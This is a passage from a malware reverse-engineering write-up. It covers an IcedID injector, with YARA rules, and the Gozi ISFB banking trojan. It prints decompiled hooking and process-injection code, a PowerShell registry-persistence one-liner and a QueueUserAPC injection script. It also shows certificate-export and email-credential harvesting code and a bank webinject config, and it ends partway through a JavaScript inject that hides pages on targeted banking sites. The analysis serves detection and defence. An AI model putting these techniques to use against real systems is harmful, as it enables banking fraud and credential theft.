if ( ntdll_RtlDecompressBuffer_0(&a12, &v13) )
result = HookRtlExitUserProcess(*a2, a12) != 0 ? 0 : 0xC0000001;
else
result = 0xC0000001;
}
}
else
{
result = 0xC0000001;
}
return result;
}

Additionally, the malware enters the boolean-type function “HookRtlExitProcess,” which deals with writing the malicious code via ntdll!ZwAllocateVirtualMemory and ntdll!ZwWriteVirtualMemory, which returns the call back to CreateProcessW to launch the execution of “svchost.exe” in memory.
D. “HookRtlExitUserProcess” Function

/////////////////////////////////////////////////////////
//// IcedID Injector HookRtlExitUserProcess Function ////
/////////////////////////////////////////////////////////
BOOL __cdecl HookRtlExitUserProcess(int a1, int a2)
{

v2 = 0;
v6 = a1;
lpMem = 0;
v8 = 0;
v9 = a2;
v3 = ntdll_ZwAllocateVirtualMemory_0(a1, 0x54, 4);
if ( v3 )
{
v2 = zwAllocateVirtualMemory_DecoderMain((int)&v6);
if ( v2 )
{
v4 = (char *)lpMem + *(_DWORD *)(v9 + 0x10);
if ( v4 )
{
*(_DWORD *)v4 = v3;
v2 = ntdll_ZwWriteVirtualMemory_Main((int)&v6);
if ( v2 )
{
v2 = CreateHookRtlExitProcess(a1, ntdll_RtlExitUserProcess, v8 + *(_DWORD *)(v9 + 0xC));
if ( v2 )
v2 = ntdll_ZwWriteVirtualMemory_0(a1, v3, (int)&dword_402000, 0x454);
}
}
}
if ( lpMem )
GetProcessHeap_Free(lpMem);
}
return v2;
}

VI. Yara Signature: IcedID Injector

rule crime_win32_iceid_injector {
meta:
description = "Detects IcedID Banker Injector"
author = "@VK_Intel"
date = "2018-09-07"
hash1 = "f48efe24259106d0d22bf764c90c96a03155f87710ec181830ea5e84c8d15a9f"
strings:
$s1 = "NTDLL.DLL" fullword ascii
$s2 = "StrStrIA" fullword ascii
$s3 = "StrToIntA" fullword ascii
$s4 = "GetSystemDirectoryW" fullword ascii
$s5 = "GetNativeSystemInfo" fullword ascii
$s6 = "LoadLibraryA" fullword ascii

$hook_rtlexitproces = { ff ?? ?? ff ?? e8 ?? ?? ?? ?? f7 d8 59 1b c0 25 ff ff ff 3f 59 05 01 00 00 c0 5e 8b e5 5d c2 2c 00}
$hook_main = { 55 8b ec 51 56 8b ?? ?? 8d ?? ?? 57 50 6a 40 6a 05 56 6a ff e8 ?? ?? ?? ?? 8b f8 83 c4 14 85 ff 74 ?? 8b ?? ?? 2b c6 c6 ?? ?? 83 e8 05 89 ?? ?? 8d ?? ?? 50 ff ?? ?? 6a 05 56 6a ff e8 ?? ?? ?? ?? 83 c4 14 8b c7 5f 5e 8b e5 5d c3}
$hook_zwcreate_user = { 55 8b ec 51 68 82 20 40 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? b8 01 00 00 c0 eb ?? 56 ff ?? ?? 8b ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? 56 ff ?? ?? ?? ?? ?? 85 c0 75 ?? 8d ?? ?? 50 8d ?? ?? 50 e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? b8 01 00 00 c0 eb ?? ff ?? ?? ff ?? e8 ?? ?? ?? ?? f7 d8 59 1b c0 25 ff ff ff 3f 59 05 01 00 00 c0 5e 8b e5 5d c2 2c 00}
$ntdll_resolver = { 57 68 c0 7e 40 00 ff ?? ?? ?? ?? ?? 8b f8 85 ff 75 ?? 5f c3 53 56 68 76 20 40 00 68 30 20 40 00 68 51 d4 0c e5 33 db c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 53 57 57 e8 ?? ?? ?? ?? 68 70 20 40 00 68 28 20 40 00 68 b2 9f d8 b0 53 57 57 8b f0 e8 ?? ?? ?? ?? 68 58 20 40 00 68 08 20 40 00 68 eb da 7b d3 53 57 57 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 82 20 40 00 68 40 20 40 00 68 66 5f b1 f4 53 57 57 e8 ?? ?? ?? ?? 68 64 20 40 00 68 18 20 40 00 68 df 5d 79 8c 53 57 57 0b f0 e8 ?? ?? ?? ?? 68 5e 20 40 00 68 10 20 40 00 68 94 9c 50 c5 53 57 57 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 6a 20 40 00 68 20 20 40 00 68 e4 d1 46 ae 53 57 57 e8 ?? ?? ?? ?? 68 88 20 40 00 68 48 20 40 00 68 7e b7 06 fd 53 57 57 0b f0 e8 ?? ?? ?? ?? 68 7c 20 40 00 68 38 20 40 00 68 26 dd 7f 2d 53 57 57 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 8e 20 40 00 68 50 20 40 00 68 ee 1a 0c 53 53 57 57 e8 ?? ?? ?? ?? 83 c4 18 0b c6 f7 d8 1b c0 5e 5b 40 5f c3 83 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 53 57 e8 ?? ?? ?? ?? 8b f8 8b da 8b cf 0b cb 0f ?? ?? ?? ?? ?? 55 53 57 e8 ?? ?? ?? ?? 8b e8 59 59 85 ed 0f ?? ?? ?? ?? ?? 56 68 0e 21 40 00 68 c8 20 40 00 68 51 d4 0c e5 53 57 55 e8 ?? ?? ?? ?? 68 08 21 40 00 68 c0 20 40 00 68 b2 9f d8 b0 53 57 55 8b f0 e8 ?? ?? ?? ?? 68 f0 20 40 00 68 a0 20 40 00 68 eb da 7b d3 53 57 55 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 1a 21 40 00 68 d8 20 40 00 68 66 5f b1 f4 53 57 55 e8 ?? ?? ?? ?? 68 fc 20 40 00 68 b0 20 40 00 68 df 5d 79 8c 53 57 55 0b f0 e8 ?? ?? ?? ?? 68 f6 20 40 00 68 a8 20 40 00 68 94 9c 50 c5 53 57 55 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 02 21 40 00 68 b8 20 40 00 68 e4 d1 46 ae 53 57 55 e8 ?? ?? ?? ?? 68 20 21 40 00 68 e0 20 40 00 68 7e b7 06 fd 53 57 55 0b f0 e8 ?? ?? ?? ?? 68 14 21 40 00 68 d0 20 40 00 68 26 dd 7f 2d 53 57 55 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 26 21 40 00 68 e8 20 40 00 68 ee 1a 0c 53 53 57 55 e8 ?? ?? ?? ?? 55 0b f0 e8 ?? ?? ?? ?? 83 c4 1c 85 f6 5e 75 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 5d 5f 5b c3}

condition:
uint16(0) == 0x5a4d and
filesize < 80KB and
( all of ($s*) and $hook_main)
or ( $hook_main and ($ntdll_resolver or $hook_rtlexitproces or $hook_zwcreate_user))
}

Let’s Learn: In-Depth Reversing of Recent Gozi ISFB Banking Malware Version 2.16/2.17 & "loader.dll/client.dll"

Goal: Reverse engineer and analyze one of the latest Gozi “ISFB” ( also called “Ursnif'” amongst various researchers) banking malware variants focusing on the one of the latest “client.dll” 32-bit (x86) one. 

https://platform.twitter.com/widgets.js Malware:
Original Packed Loader (MD5: e2476ed98a57bbb14f45fd1e04d4c43c)
Downloaded Tor 32-bit DLL Module (MD5: cc312c797e73d06f397516f9b9d7a438)
Leaked  “client.dll” (February 3, 2015) (MD5: 4fe85d04cc4b8602c27973ab3f08b997)
Unpacked Injected “client.dll” (April 14, 2018)(MD5: c23a41c83e82f45b6742ad07218232f9)
Other observed “client.dll”:
*Unpacked Injected “client.dll” (July 31, 2018)(MD5: 22b748df15e580b10c984f691f7c0fa9)
*Unpacked “loader.dll” (August 20, 2018)(MD5: 3ec8607de7b0b194f19962d3e987031c)
*Unpacked Injected “client.dll” (August 20, 2018)(MD5: 51d010dbca2aa9031b4d12312b56637b)
Outline:

I. Malware Campaign Spreading "ISFB" Banker  
II. Background on ISFB Banker
III. ISFB Loader (August 20, 2018): QueueUserAPC & PowerShell
IV. Differences Between Leaked ISFB and ISFB 2.16/2.17 Variants
V. Tor Onion Library
VI. Stealer Methods
VII. Hooking Method
VIII. Process Injection
IX. Inject Processor
X. Yara Signature:
A. ISFB v2.17 "loader.dll" (32-bit) version
B. ISFB v2.16/2.17 "client.dll" (32-bit) version
XI. Addendum
A. Extracted ISFB Configuration
B. Hooked APIs
C. Original Commands from Leaked ISFB v2.13
D. ISFB "RM3" Function and Debug Statements

I. Malware Campaign Spreading “ISFB” Banker
While reviewing one of the latest malware campaign spreading the notable ISFB banker, I decided to dive deeper into this banker malware sample. It is notable that this specific malware campaign was targeting customers of Italian financial institutions. However, this same bot contains webinjects configuration for both US and Canadian financial institutions. 
II. Background on ISFB Banker
ISFB Banker malware is one of the oldest and one of the most advanced information-stealing malware tracing some of the code to 2006. The Gozi is traced back to the notable “76Service,” “CRM,” and “Project Blitzkrieg” criminal business clubs targeting customers of financial institutions. I highly recommend reading Maciej Kotowiez’s paper titled “ISFB: Still Live and Kicking” before learning more about ISFB banker. 
The ISFB version “2.13.24.1” (February 3, 2015) source code was leaked originally on the criminal underground in 2015. This same was also uploaded by researchers to GitHub.
In the past, the source code of the malware kit was offered for sale for $30,000 USD. However, shortly after, its main actor group offered the code for the following prices:

Minimalistic ISFB: $12,000 USD
Keylogger support: $3,0000 USD
SOCKS support: $3,000 USD
Stealer support: $5,000 USD
Anti-Rapport: $4,000 USD
VNC support: $8,000 USD
Backconnect support: $3,000 USD

The original client dropper/loader module was called originally “CRM” as part of the Gozi ISFB project. It is notable that the Gozi project originally included the “IAP” web panel project and the “ICS” configurator. It is worth to highlight that there are multiple groups that use the ISFB toolkit including the ones that developed their own  “Dreambot” web panel. Fortinet did interesting coverage of the differences between “Dreambot” and the leaked ISFB (including its “joined files” (or “FJ”) struct). 
III. ISFB Loader (August 20, 2018): QueueUserAPC & PowerShell
ISFB banker also contains a simple injected “loader.dll” after the cryptor routine that is used to launch the execution of the malware.
The unpacked ISFB loader is small in size of just 44 kb with three imported DLLs.

Notably, this loader was observed for observed heavily leveraging PowerShell scripting for registry persistence functionality via the hardcoded cmd command invoking PowerShell:

powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty\
'HKCU:\%S').%s))

For example, the loader creates a PowerShell script in hex in the registry that can be decoded  that leverages QueueUserAPC bytecode injection to process the next stage as follows:

$qbhuthvrmyf = "[DllImport("kernel32")]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32")]
public static extern
IntPtr VirtualAllocEx(IntPtr wwj,IntPtr lxffofo,uint aoconcm,uint iuk,uint \
 hwsivuroj);"
$xuisvutgkgo=Add-Type -memberDefinition $qbhuthvrmyf -Name 'qyaaexcigm' \
-namespace Win32Functions -passthru;
$ujppmfuuik="[DllImport("kernel32")]
public static extern IntPtr GetCurrentThreadId();
[DllImport("kernel32")]
public static extern IntPtr OpenThread(uint xwocdx,uint adflgvt,IntPtr xbxe);
[DllImport("kernel32")]
public static extern uint QueueUserAPC(IntPtr ijaq, IntPtr twsxxmyebm,\
 IntPtr xfnggdcn);
[DllImport("kernel32")]
public static extern void SleepEx(uint ocqxap,uint cpvoeuen);";
$eeihwxjq=Add-Type -memberDefinition $ujppmfuuik -Name 'btdpmiijeg' -namespace \
 Win32Functions -passthru;

The “loader” module communicates over HTTP to a separated ISFB server, which hosts the “client” modules (32-bit and 64-bit ones) and the above PowerShell script called “run.”
Additionally, on July 30, 2018, one ISFB group released the “client.dll” with debugging on. This version 3.0 with build ID “613” revealed that that the loader was called “RM3”.

[%s:%u] RM3 loader version %u.%u build %u on Windows %u.%u.%u %s

The main internal “loader.dll” control functions with the respective description are as follows:


















RM3 "loader.dll' FunctionFunction Description
LdrStartLoaderProcessstarts "loader.dll" process
Ldr2LoadInichecks "LOADER.INI" signature check
Ldr2LoadFileretrieves modules over HTTP and checks for signature
LdrIsElevatedchecks the host integrity level and if it has elevated privileges
Ldr2GetLoaderModuleretrieves and loads the startup module
Ldr2SaveModulesToRegistrysaves modules to the registry and creates registry hives
Ldr2SaveAllModulessaves 32-bit and 64-bit "client.dll" modules to the registry
Ldr2MakeRunRecordcreates an autorun value and makes sure the memory is allocated.
Ldr2RegEnumCallbackenumerates and writes autorun value and sets
Ldr2MakeEncodedImagecreates an encoded image using the public key with Serpent and checks for "BlExecuteDllImage" export
ReplaceSubStrparses and replaces strings
Ldr2SetupModulestries to elevate privileges and loads modules, walks the registry, and and restarts modules as necessary
Ldr2LoadModulestries to load modules
Ldr2DisableIeDialogsdisables Internet Explorer dialog since it leverages it for downloading modules
Ldr2LoaderMainstarts the main loader function

All of the modules are encoded with Serpent encryption and can be decoded using its public key.
Subsequently, the malware would subsequently install the client.dll via injecting it into explorer.exe and storing a copy of it in the registry. The malware developers, however, deliberately erased a portion of the PE header and removed named references to imported DLL “kernel32.dll” and “ntdll.dll” making malware analysis just a little bit more complicated. 
IV. Differences Between Leaked ISFB and Latest ISFB Variant
I decided to take a look at the leaked code and review their compiled client DLL code. It is notable that the leaked ISFB had the version “2.13.24.1″ (February 3, 2015), while one of the latest ISFB variants had a version of “2.16” (April 14, 2018) with the build id “994.” The observed botnet ID for the latest sample was “1000.” It is worth noting that since ISFB also has version “2.17” (August 20, 2018), which improved some code structure from the previous version and added @KILL@=* inject control.
The unpacked 2.16 client.dll contains 645 functions with 183 KB size, while the leaked client.dll contains 512 functions with 136 KB size. The bot also stores “Client32” and “Client64” in FJ struct.
The newer sample leverages “.bss” section and unpacks the code via the following pseudo-coded C++ function:

///////////////////////////////////////////////////////////////  
///////// ISFB variant ".bss" DecodeFunction //////////////////
///////////////////////////////////////////////////////////////
int __stdcall bss_decodeFunction(int a1)
v15 = 0;
String1 = 0;
v12 = 0;
v13 = 0;
v14 = 0;
lstrcpynA(&String1, ".bss", 8);
v1 = decoder(a1, (int)&String1);
v2 = v1;
if ( v1 )
{
v3 = *(_DWORD *)(v1 + 12);
if ( v3 && *(_DWORD *)(v1 + 16) )
{
v4 = *(_DWORD *)(v1 + 16);
v5 = *(_DWORD *)"018";
v6 = (*(_DWORD *)"14 2018" ^ *(_DWORD *)"Apr 14 2018" ^ (v4 + v3)) + 14;
v7 = (char *)VirtualAlloc(0, v4, 0x3000u, 4u);
v8 = v7;
if ( v7 )
{
ror4_dec(v7, (char *)(a1 + *(_DWORD *)(v2 + 12)), *(_DWORD *)(v2 + 16), v6, 1);
// "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s"
v9 = *(_DWORD *)(v2 + 12);
dword_1002B0D4 = *(_DWORD *)(&v8[(_DWORD)aVersionUSoftUU] + -a1 - v9)
+ *(_DWORD *)(&v8[-a1 - v9 + 4] + (_DWORD)aVersionUSoftUU)
- *(_DWORD *)(&v8[-a1 - v9 + 12] + (_DWORD)aVersionUSoftUU);
if ( dword_1002B0D4 == 0x736C6E70 )
memcpy((void *)(a1 + v9), v8, *(_DWORD *)(v2 + 16));
else
v15 = 12;
VirtualFree(v8, 0, 0x8000u);
}

It is important to investigate binary-level and function-level differences between the leaked earlier version of ISFB and the recent unpacked one before taking a deeper dive into the newer version.

The latest v2.16 version contains the exact same static import table as the original leaked v2.13 one with the additional 4 ntdll.dll (e.g., new and changed APIs are NtQuerySystemInformation, RtlUpcaseUnicodeString, RtlImageNtHeader, _snprintf, etc.) and 7 kernel32.dll imports.
In order to identify and highlight differences, I decided to utilize an open-source plugin tool “Diaphora” for IDA leveraging its decompiler mode.
The binary diff analysis between the latest client.dll versus the leaked one version shows the following results:

Full matches: 259 functions
Partial matches: 72 functions
Unreliable matches: 126 functions
Unmatched functions in the latest client.dll: 21 functions
Unmatched functions in the leaked client.dll: 188 functions


Some of the differences in the latest client DLL include additions in the URI template such as follows with “/images/” URI path, for example:

&ip=%s
&os=%s
&tor=1
%time=%lu
%action=%u

By and large, in general, the ISFB botserver communication channels relies on four major types of communication:

Hardcoded domains
Domain Generation Algorithm (DGA)
Tor Onion Communication
Peer-to-Peer Protocol (P2P)
The URI requests are linked to the same path “soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x”:

".gif" - obtain a new task, which is linked to "LastTask" registry check
".jpeg" - obtain a new config, which saves the new config.
It is linked to "Main" registry check, which saves the config.
".bmp"
".avi"
The newer version has a different user-agent string as “Mozilla/5.0 (Windows NT %u.%u%s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36” versus the leaked one with “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s).”

By and large, the ISFB variant bot heavily relies on the registry for storage and queries of tasks including the following registry query checks for the values of interest:

#define szDataRegDataValue_src     _T("Main")
#define szDataRegBlockValue_src _T("Block")
#define szDataRegTemplate_src _T("Temp")
#define szDataRegClientId_src _T("Client")
#define szDataRegIniValue_src _T("Ini")
#define szDataRegKeysValue_src _T("Keys")
#define szDataRegKillValue_src _T("Kill")
#define szDataRegExeValue_src      _T("Install")
#define szDataRegTaskValue_src _T("LastTask")
//#define szDataRegConfigValue_src _T("LastConfig")
#define szDataRegTorValue_src _T("TorClient")
//#define szDataRegExecValue_src _T("Exec")
//#define szDataRegOperaHook_src _T("OpHook")
//#define szDataRegCrhromeHook_src _T("CrHook")

The bot also checks the config settings for “LastTask”,  for example in the registry via the following “GetLastTask” proc near prototype in ASM:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;; ISFB Gozi GetLastTask ;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+lpMem]
push eax ; int
xor ebx, ebx
push offset aLasttask ; "LastTask"
 
mov [ebp+var_14], ebx
call RegQueryValueExFunction
cmp eax, ebx
jnz short loc_100036CC
cmp [ebp+cbData], 8
mov eax, [ebp+lpMem]
jnz short loc_100036BC
mov ecx, [eax]
mov dword ptr [ebp+Data], ecx
mov ecx, [eax+4]
mov [ebp+var_1C], ecx
jmp short loc_10003BA9

Additionally, the latest ISFB variant deploys system checks in addition to the usual software enumeration via HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\ for “net view” command (view of mapped devices, shares) as well as “nslookup myip.opendns.com resolver1.opendns.com” (view of external IP address), which are new to the malware variant.

IV. Tor Onion Library
This specific ISFB variant version 2.16 was configured to use the Tor DLL library that was downloaded for either 32-bit or 64-bit architecture for botserver communications
The downloaded Tor DLL contains the program database as follows:
C:\Users\mr_wi\OneDrive\Projects\tordll\Release\tordll.pdb
Additionally, the Tor DLL library contained the following four DLL exports:

Name Address Ordinal
TorCloseRequest 100022D0 1
TorCompleteRequest 10002210 2
TorOpenRequest 10001DF0 3
TorSendRequest 10002100 4
DllEntryPoint 10184402 [main entry]
The malware retrieves Tor modules (either 32-bit or 64-bit ones) via the dynamic configuration with the “file://” path.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;; ISFB Gozi Tor "file://" & Communicator Check ;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push ebp ;
mov ebp, esp
push ecx
push ecx ; lpSrch
push ebx ; lpFirst
push esi
mov esi, StrStrIA
push edi
mov edi, eax
push offset Srch ; "file://"
push edi ; lpFirst
call esi ; StrStrIA
xor ebx, ebx
cmp eax, edi
jz short loc_10003B98
push offset a_onion ; ".onion/"
push edi ; lpFirst
call esi ; StrStrIA
test eax, eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+lpMem]
push eax
jz short loc_10003B90
push 1
push ebx
push ebx
push ebx
push ebx
push dword_1002B160
push edi
call sub_1000E0EE
jmp short loc_10003BA9

The following pseudo-coded instruction is responsible for storing the "TorClient" in registry:
///////////////////////////////////////////////////////////////////////  
/////// ISFB "TorClient" RegistrySetup excerpt ////////////////////////
///////////////////////////////////////////////////////////////////////
if ( cbData > 0x40000 )
{
v8 = GetTempFileNameA_getcurrentthread(0);
if ( v8 )
{
v2 = registryWriteFile(v8, 0, 0, (int)ImageBase, v7);
if ( !v2 )
{
v9 = lstrlenA(v8) + 1;
rol4(v8, v9, dword_1002B098);
v2 = RegSetValueEx_func(aTorclient, (BYTE *)v8, v9, 3u);//"TorClient"
}
HeapFree(hHeap, 0, (LPVOID)v8);
}
else
{
v2 = 8;
}
}
else
{
rol4(ImageBase, cbData, dword_1002B098);
v2 = RegSetValueEx_func(aTorclient, (BYTE *)ImageBase, v7, 3u);//TorClient"
}
}
if ( ImageBase )
HeapFree(hHeap, 0, ImageBase);
return v2;
}

V. Stealer Methods
Finally, ISFB leverages multiple functionalities to retrieve certificates, extract cookie information, steal email accounts stored locally.
A. “GET_SYSINFO”
The malware opens a registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and enumerates keys via RegEnumKeyExW API to obtain a list of installed software.
B. “GET_CERTS”

The malware hooks CryptGetUserKey API and exports user-specific certificates to “.pfx” file from the Windows certificate store and sends them to the server. The function also contained a unique string “ISFB.”

///////////////////////////////////////////////////////////////////////  
/////// ISFB "GetCertificates" to .pfx ///////////////////////////////
///////////////////////////////////////////////////////////////////////
CertExportToPfx("My", CertFullName);
CertExportToPfx("AddressBook", CertFullName);
CertExportToPfx("AuthRoot", CertFullName);
CertExportToPfx("CertificateAuthority", CertFullName);
CertExportToPfx("Disallowed", CertFullName);
CertExportToPfx("Root", CertFullName);
CertExportToPfx("TrustedPeople", CertFullName);
CertExportToPfx("TrustedPublisher", CertFullName);

C. “GET_COOKIES”
ISFB tries to obtain cookies from the following browsers, for example:

Internet Explorer (local search as "*.txt" in APPDATA\Low)
Mozilla Firefox (local search as Mozilla\Firefox for "cookies.sqlite")

The ISFB variant also searches for “*.sol” files associated with Flash Player cookies.
C. “GET_MAIL”
ISFB harvests and sends to the server Windows Live Mail and Outlook email credentials via local and registry searches of both software and browser store logins focusing on HTTP, IMA, POP3, and SMTP emails and passwords and stores them in this following format:

type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S
Additionally, it issues a command “cmd.exe” /C pause mail” to presumably unlock the retrieval of email credentials from applications.
VI. Hooking Method
While “relaxing” SPDY browser security (e.g., via “user_pref(“network.http.spdy.enabled”, false)” in Mozilla Firefox’s “prefs.js” file), ISFB uses their own user-mode hooking method of various API calls.
For example, the malware hooks various Mozilla Firefox browser APIs and leverages ntdll’s API such as LdrRegisterDllNotification to set and remove DLL load and unload notification call-back, for example.

The malware also hooks LoadLibraryA, for example, to intercept calls while targeting Chrome and Opera. Additionally, it hooks API as well to bypass SPDY. Other malware hooks include RegGetValueW RegQueryValueExW for querying registry, CreateProcess* (4 APIs) hooks for process injection as well as CryptGetUserKey hook for certificate export.
As usual, the malware overwrites the function prologue with the relative JMP opcode (0xe9) to its detour function.
//////////////////////////////////////////////////////
// ISFB Banker 'EnableHook' with "0xe9" offset jmp ///
//////////////////////////////////////////////////////
v4 = (void *)lstrlenDecoder(a2, *(LPCSTR *)(a1 + 4), 0, (int)&v12);
lpAddress = v4;
if ( v4 )
{
flNewProtect = 0;
if ( VirtualProtect(v4, 4u, 0x40u, &flNewProtect) )
{
v5 = flOldProtect;
*(_DWORD *)(flOldProtect + 0x18) = a1;
*(_DWORD *)(v5 + 8) = a2 + *(_DWORD *)v4;
*(_DWORD *)(v5 + 12) = v4;
*(_DWORD *)(v5 + 16) = *(_DWORD *)v4;
v14 = HookVirtual_recurs(a2, v5, a1, a3);
if ( v14 == 1 )
{
if ( dword_1002B070 )
{
v6 = func8DecoderHeapFree(a2, *(_DWORD *)(v5 + 8));
if ( v6 )
{ // Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtect
if ( VirtualProtect((LPVOID)v6, 5u, 0x40u, &flOldProtect) )
{
*(_DWORD *)(v6 + 1) = *(_DWORD *)(v5 + 20) - v6 - 5;
*(_BYTE *)v6 = 0xE9u; // "0xe9" opcode for a jump with 32-bit relative
*(_DWORD *)(v5 + 0x14) = v6;
*(_DWORD *)(a1 + 0xC) = v6;
if ( flOldProtect != 0x40 )
flOldProtect = 0x20;
VirtualProtect((LPVOID)v6, 5u, flOldProtect, &flOldProtect);
}
}
}
*(_DWORD *)lpAddress = *(_DWORD *)(v5 + 20) - a2;
VirtualProtect(lpAddress, 4u, flNewProtect, &flNewProtect);
*(_DWORD *)(v5 + 28) |= 0x102u;
if ( *(_WORD *)(v5 + 28) & 0x200 )
VirtualProtectMain(v7, (const CHAR *)v12, v5);
EnterCriticalSection(&stru_1002B220);
v8 = dword_1002B218;
*(_DWORD *)v5 = dword_1002B218;
*(_DWORD *)(v5 + 4) = &dword_1002B218;
v8[1] = v5;
dword_1002B218 = (LPVOID)v5;
LeaveCriticalSection(&stru_1002B220);
*(_DWORD *)(a1 + 16) = a2 + *(_DWORD *)(v5 + 16);
v14 = 0;
v9 = ZwQueryInformationProcess2(a2);
VII. Process Injection
One of the notable malware components is its process injection routine that deals with “client” DLL injection. The process injection works around CreateProcess* hooks set up by the malware.
For example, the malware sets up their CreateProcessW with the function prototype having the suspended flag (0x4) and the subsequent process injection call. The idea is to suspend processes before they start, inject the malware DLL into them, and resume them.

ISFB also uses a pretty clever trick to make sure processes of interest are not hooked too early, i.e., before their main thread execution. The malware simply hacks a way to patch via ReadProcessMemory/WriteProcessMemory process original entry point (OEP) and wait until it loads and then restores unmapping the executable in the process memory and resuming/running it in memory. This method is also referenced in the leaked ISFB.

//////////////////////////////////////////////////////
// ISFB Banker CreateProcess "OEP" Patch Until Main ///
//////////////////////////////////////////////////////
signed int __userpurge ProcessInjectDll(int a1, int a2, char a3, void *a4)
{

lpProcessInformation_thread = a1;
v15 = 0;
memset(&v16, 0, 0x2C8u);
hProcess = *(HANDLE *)lpProcessInformation_thread;
v6 = *(void **)lpProcessInformation_thread;
origin_patch = 0xCCCCFEEB;
intArchitect = 0;
if ( open_proc_x86_x64(v6, 0) ) // Check if process x64/x86
{
intArchitect = 0x10;
}
else if ( orig_patch & 1 )
{
oep = GetProcessEntry(a2);
goto LABEL_19;
}
v15 = 0x10007;
oep_1 = a4;
if ( !a4 )
oep_1 = (LPVOID)ZwQuery_RtlNtStatusToDosError_0(*(HANDLE *)lpProcessInformation_thread);
if ( ReadProcessMemory(hProcess, oep_1, &original_1, 4, &NumberOfBytesRead)
&& NumberOfBytesRead == 4
&& PatchMemory(hProcess, oep_1, (int)&origin_patch) )// sizeof(0xCCCCFEEB) -> patch
{
v10 = 3000;
do
{
ResumeThread(*(HANDLE *)(lpProcessInformation_thread + 4));
if ( WaitForSingleObject(hHandle, 0x64u) != 0x102 )
v10 = 0x64;
SuspendThread(*(HANDLE *)(lpProcessInformation_thread + 4));
v10 -= 0x64;
RtlNtStatusToDosErrorMain(*(_DWORD *)(lpProcessInformation_thread + 4), (int)&v15);
} // Unmap injected image in memory of the process NtUnmapViewofSection /WriteProcessMemory
while ( v10 > 0 && v17 != oep_1 );
if ( v17 == oep_1 )
oep = injectImageUnmap(a2, (HANDLE *)lpProcessInformation_thread, intArchitect, 0);
else
oep = 0x261;
PatchMemory(hProcess, oep_1, (int)&original_1);// restore -> original OEP bytes
LABEL_19:
if ( oep != 0xFFFFFFFF )
goto LABEL_21;
}
oep = GetLastError();
LABEL_21:
if ( !(a3 & 4) )
ResumeThread(*(HANDLE *)(lpProcessInformation_thread + 4));
return oep;
}
VIII. Inject Processor
The ISFB variant leverages the following key logic elements for credential-stealing functionality and uses them for webinject and replica control:

@ID@  -> bot id (victim host identity)   
@GROUP@ -> group id (group id of the bot)
@RANDSTR@ -> random string
@URL=*@ -> targeted financial institutions
@CONFIG=*@ -> configuration
@VIDEO=*@ -> video to record once the victim visit the page of interest
@SOCKS=*@ -> connect SOCKS server
@KILL=*@ -> kill command (only with 2.17 version)
@VNC=*@ -> connect VNC
As mentioned earlier, this specific campaign targeted customers of Italian, Canadian, and US financial institutions. The webinject injects in their config are stored in the registry and are presented in the following own format, for example.

/////////////////////////////////////////////////////////
////////////////// ISFB WebInject Config Example ////////
/////////////////////////////////////////////////////////
"*", 
"<!DOCTYPE***",
"<!DOCTYPE***<script type='text/javascript'\
id='script_id' src='/@ID@/script.js?\
x=@ID@&y=@GROUP@&d=@ID@&bname=&v=@VIDEO@=7,180'>"
}

One of the more interesting features of the malware is on-demand video-recording victim visits to specific websites usually for 3 minutes with VIDEO parameters { @VIDEO@=7,180 }. Indeed, ISFB utilizes imported Avifil32.dll and various AVI* functions to record data to a stream saving it locally and exfiltrating it later to the server in order to review it for the possible account takeover fraud.
Moreover, ISFB also uses known webinject scripts developed by another actor. The scripts are called “_brows.cap” with the script name . The example of the observed inject is as follows:

/////////////////////////////////////////////////////////
////////////////// Inject Excerpt ///////////////////////
/////////////////////////////////////////////////////////
var wdebug = 0;
var replacer_run_count = 0;
var bot_nick = "@ID@";
var account_id;
String.prototype.fAkElink="";
String.prototype.fAkEstyle=document.createElement("style");
String.prototype.fAkEcss='body{visibility:hidden;}';
''.fAkEstyle.setAttribute("type", "text/css");
if(''.fAkEstyle.styleSheet){// IE
''.fAkEstyle.styleSheet.cssText = ''.fAkEcss;
} else {// w3c
String.prototype.fAkEcssText = document.createTextNode(''.fAkEcss);
''.fAkEstyle.appendChild(''.fAkEcssText);
}
if(document.domain.search(/<TARGETED_BANK_URL/g)>-1){
document.getElementsByTagName("head")[0].appendChild(''.fAkEstyle);
String.prototype.fAkEstart=function(){
